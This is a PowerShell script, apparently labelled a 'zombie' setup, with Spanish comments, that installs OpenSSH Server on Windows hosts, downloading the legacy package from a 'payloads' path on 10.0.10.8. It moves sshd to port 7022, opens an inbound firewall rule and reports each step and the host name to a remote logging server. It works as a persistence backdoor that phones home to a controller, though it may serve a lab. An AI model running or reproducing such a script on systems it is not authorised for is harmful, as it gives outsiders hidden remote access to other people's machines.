107 lines
3.7 KiB
PowerShell
107 lines
3.7 KiB
PowerShell
$ErrorActionPreference = "Continue"
|
|
$env:TEMP = "C:\Windows\Temp"
|
|
$env:TMP = "C:\Windows\Temp"
|
|
|
|
function Log($msg) {
|
|
$ts = Get-Date -Format "HH:mm:ss"
|
|
Write-Host "[$ts] $msg" -ForegroundColor Cyan
|
|
try { Invoke-RestMethod -Uri "http://10.0.10.8:8000/log" -Method Post -Body @{msg="[$env:COMPUTERNAME] $msg"} -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null } catch {}
|
|
}
|
|
|
|
$hn = $env:COMPUTERNAME
|
|
$os = (Get-WmiObject Win32_OperatingSystem).Caption
|
|
$sshPort = 7022
|
|
|
|
Log "=========================================="
|
|
Log "W-ZOMBI SETUP — $hn"
|
|
Log "OS: $os"
|
|
Log "=========================================="
|
|
|
|
# --- PASO 1: Detectar e instalar OpenSSH ---
|
|
$sshInstalled = $false
|
|
|
|
# Verificar si sshd ya existe
|
|
if (Get-Service sshd -ErrorAction SilentlyContinue) {
|
|
Log "PASO 1: sshd ya existe."
|
|
$sshInstalled = $true
|
|
} elseif ($os -match "200[38]|Vista|XP") {
|
|
# Legacy: Win32-OpenSSH manual
|
|
Log "PASO 1: OS Legacy ($os) — instalando Win32-OpenSSH..."
|
|
$zip = "C:\OpenSSH-Win64.zip"
|
|
$dir = "C:\OpenSSH-Win64"
|
|
try {
|
|
(New-Object Net.WebClient).DownloadFile("http://10.0.10.8:8000/payloads/OpenSSH-Win64.zip", $zip)
|
|
$shell = New-Object -ComObject Shell.Application
|
|
$shell.NameSpace("C:\").CopyHere($shell.NameSpace($zip).Items(), 0x14)
|
|
& "$dir\install-sshd.ps1" 2>&1 | Out-Null
|
|
& "$dir\ssh-keygen.exe" -A 2>&1 | Out-Null
|
|
Set-Service sshd -StartupType Automatic
|
|
$sshInstalled = $true
|
|
Log "Win32-OpenSSH instalado OK."
|
|
} catch {
|
|
Log "ERROR Legacy: $($_.Exception.Message)"
|
|
}
|
|
} else {
|
|
# Moderno: Add-WindowsCapability (Win10/2016+)
|
|
Log "PASO 1: OS Moderno — instalando via Add-WindowsCapability..."
|
|
try {
|
|
$cap = Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH.Server*'
|
|
if ($cap.State -ne 'Installed') {
|
|
Add-WindowsCapability -Online -Name $cap.Name | Out-Null
|
|
}
|
|
Set-Service sshd -StartupType Automatic
|
|
Start-Service sshd -ErrorAction SilentlyContinue
|
|
$sshInstalled = $true
|
|
Log "OpenSSH Server instalado OK."
|
|
} catch {
|
|
Log "ERROR Moderno: $($_.Exception.Message)"
|
|
}
|
|
}
|
|
|
|
if (-not $sshInstalled) {
|
|
Log "FALLO: No se pudo instalar SSH. Abortando."
|
|
return
|
|
}
|
|
|
|
# --- PASO 2: Configurar puerto 7022 ---
|
|
Log "PASO 2: Configurando puerto $sshPort..."
|
|
|
|
$cfgPaths = @("C:\ProgramData\ssh\sshd_config", "C:\OpenSSH-Win64\sshd_config")
|
|
$cfgPath = $cfgPaths | Where-Object { Test-Path $_ } | Select-Object -First 1
|
|
|
|
if ($cfgPath) {
|
|
$lines = Get-Content $cfgPath | Where-Object { $_ -notmatch '^\s*#?\s*Port\s+\d+' }
|
|
@("Port $sshPort") + $lines | Set-Content $cfgPath -Force
|
|
Log "Config: $cfgPath -> Port $sshPort"
|
|
} else {
|
|
Log "WARN: No se encontro sshd_config"
|
|
}
|
|
|
|
# --- PASO 3: Firewall ---
|
|
Log "PASO 3: Firewall..."
|
|
try {
|
|
New-NetFirewallRule -Name "SSH-$sshPort" -DisplayName "SSH $sshPort" -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort $sshPort -ErrorAction SilentlyContinue | Out-Null
|
|
} catch {
|
|
netsh advfirewall firewall add rule name="SSH-$sshPort" dir=in action=allow protocol=TCP localport=$sshPort 2>&1 | Out-Null
|
|
}
|
|
Log "Firewall: puerto $sshPort abierto"
|
|
|
|
# --- PASO 4: Reiniciar sshd ---
|
|
Log "PASO 4: Reiniciando sshd..."
|
|
Stop-Service sshd -Force -ErrorAction SilentlyContinue
|
|
Start-Sleep -Seconds 2
|
|
Start-Service sshd -ErrorAction SilentlyContinue
|
|
Log "sshd reiniciado."
|
|
|
|
# --- PASO 5: Verificar ---
|
|
$listening = netstat -an | Select-String ":$sshPort\s+.*LISTEN"
|
|
if ($listening) {
|
|
Log "VERIFICADO: $hn escuchando en puerto $sshPort"
|
|
} else {
|
|
Log "WARN: Puerto $sshPort no detectado en netstat"
|
|
}
|
|
|
|
Log "=========================================="
|
|
Log "SETUP COMPLETADO — $hn : $sshPort"
|
|
Log "=========================================="
|